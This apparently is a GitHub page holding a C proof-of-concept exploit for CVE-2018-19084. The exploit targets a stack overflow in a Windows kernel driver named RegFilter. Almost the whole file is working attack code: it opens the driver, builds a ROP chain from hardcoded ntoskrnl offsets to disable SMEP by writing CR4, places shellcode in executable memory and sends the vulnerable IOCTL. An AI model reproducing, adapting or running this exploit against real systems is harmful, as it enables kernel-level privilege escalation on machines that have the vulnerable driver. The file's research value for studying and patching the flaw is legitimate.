-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathCVE-2018-19084.c
82 lines (75 loc) · 4.11 KB
/
CVE-2018-19084.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <windows.h>
#include <Psapi.h>
#include <stdio.h>
/*
Kernel related offsets are for ntoskrnl, version: 10.0.17134.285
Working as of 11/9/18
*/
typedef unsigned long long QWORD; // DWORD64
int main(int argc, char* argv[]) {
HANDLE hDriver = CreateFileW(L"\\\\.\\RegFilter", GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, 0, NULL); // Get a handle to the driver
if (hDriver != INVALID_HANDLE_VALUE) {
printf("[i] Found driver\n");
LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x300, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpShellcodeArea = VirtualAlloc((LPVOID)0x43000000, 0x400, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
BYTE arrShellcode[] = { 0x49, 0xC7, 0xC6, 0x02, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC6, 0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC1, 0x78,
0x06, 0x07, 0x00, 0x48, 0x83, 0xEC, 0x18, 0x48, 0xB8, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0x50,
0x48, 0xB8, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0x50, 0xC3 };
/*
This code contains 2:
mov rax, 0xEEEEEEEEEEEEEEEE
push rax
instruction sequences.
0xEE... will be dynamicly edited at runtime
which will allow a return to nt!IopSynchronousServiceTail + 0x1ab at the end of shellcode.
The other assembly moves values that would have been in registers if the code hade returned normally
*/
if (lpInMemoryArea == NULL || lpShellcodeArea == NULL) {
printf("[!!!] Unable to allocate memory\n");
ExitProcess(-1);
}
printf("[i] Allocated memory\n");
memset(lpInMemoryArea, 0xEE, 0x1C0); // Clean memory area
memset(lpShellcodeArea, 0x00, 0x400);
memmove(lpShellcodeArea, &arrShellcode, 48); // Put shellcode in proper memory area
LPDWORD lpcbNeeded = 0; // Size you need (the "safe" way)
LPVOID arrDriversAddresses[250] = { 0 }; // Change if you have more than 250 drivers loaded
K32EnumDeviceDrivers(arrDriversAddresses, 0x250, &lpcbNeeded); // You could also call this function twice, and get the array size you need
QWORD qwTemp = arrDriversAddresses[0]; // First value is ntoskrnl.exe base address
qwTemp += 0x1A58F0; // nt!HvlEndSystemInterrupt + 0x20
QWORD qwRCX = 0x30678; // value for rcx, so: mov cr4, rcx ; has cr4 with SMEP disabled
memmove((BYTE*)lpInMemoryArea + 0x38, &qwTemp, sizeof(QWORD)); // First link in ROP chain (pop rcx)
memmove((BYTE*)lpInMemoryArea + 0x40, &qwRCX, sizeof(QWORD)); // Value that will be popped into rcx
qwTemp = arrDriversAddresses[0];
qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1
memmove((BYTE*)lpInMemoryArea + 0x48, &qwTemp, sizeof(QWORD));
memmove((BYTE*)lpInMemoryArea + 0x50, &lpShellcodeArea, sizeof(QWORD));
/*
In order to restore code execution, the stack must be re-aligned before IopSynchronousServiceTail
Therefore at the end of our shellcode, we must sub from rsp (go backwards)
push ret addresses to the stack to disable SMEP and return to IopSynchronousServiceTail.
[Exploit End] <--|
---> [Exploit Start] |
[Shellcode] ---->|(Dynamic addition of rets to stack)
*/
qwTemp = arrDriversAddresses[0];
qwTemp += 0x47E6FD; // nt!KiEnableXSave + 0x54D1, re-enable SMEP, so no Patch Guard, or other strange BSoDs
memmove((BYTE*)lpShellcodeArea + 38, &qwTemp, sizeof(QWORD)); // Add ret location to stack
qwTemp = arrDriversAddresses[0];
qwTemp += 0x4E619B; // nt!IopSynchronousServiceTail + 0x1AB, hopefully resume normal execution
memmove((BYTE*)lpShellcodeArea + 27, &qwTemp, sizeof(QWORD)); // Add ret location to stack
DWORD dwIoctl = 0x8006E05C; // Stack overflow IOCTL
printf("[i] Sending IOCTL 0x%X\n", dwIoctl);
DWORD dwBytesOut = 0;
NTSTATUS dwLastError = DeviceIoControl(hDriver, dwIoctl, lpInMemoryArea, 0x68, lpOutMemoryArea, 0x8, &dwBytesOut, NULL);
// nlnInBufferSize is in Bytes (0x68 is needed)
printf("[i] Success? Return: %X\n", dwLastError);
}
else {
printf("[!!!] Unable to find driver\n");
ExitProcess(-1);
}
ExitProcess(0);
}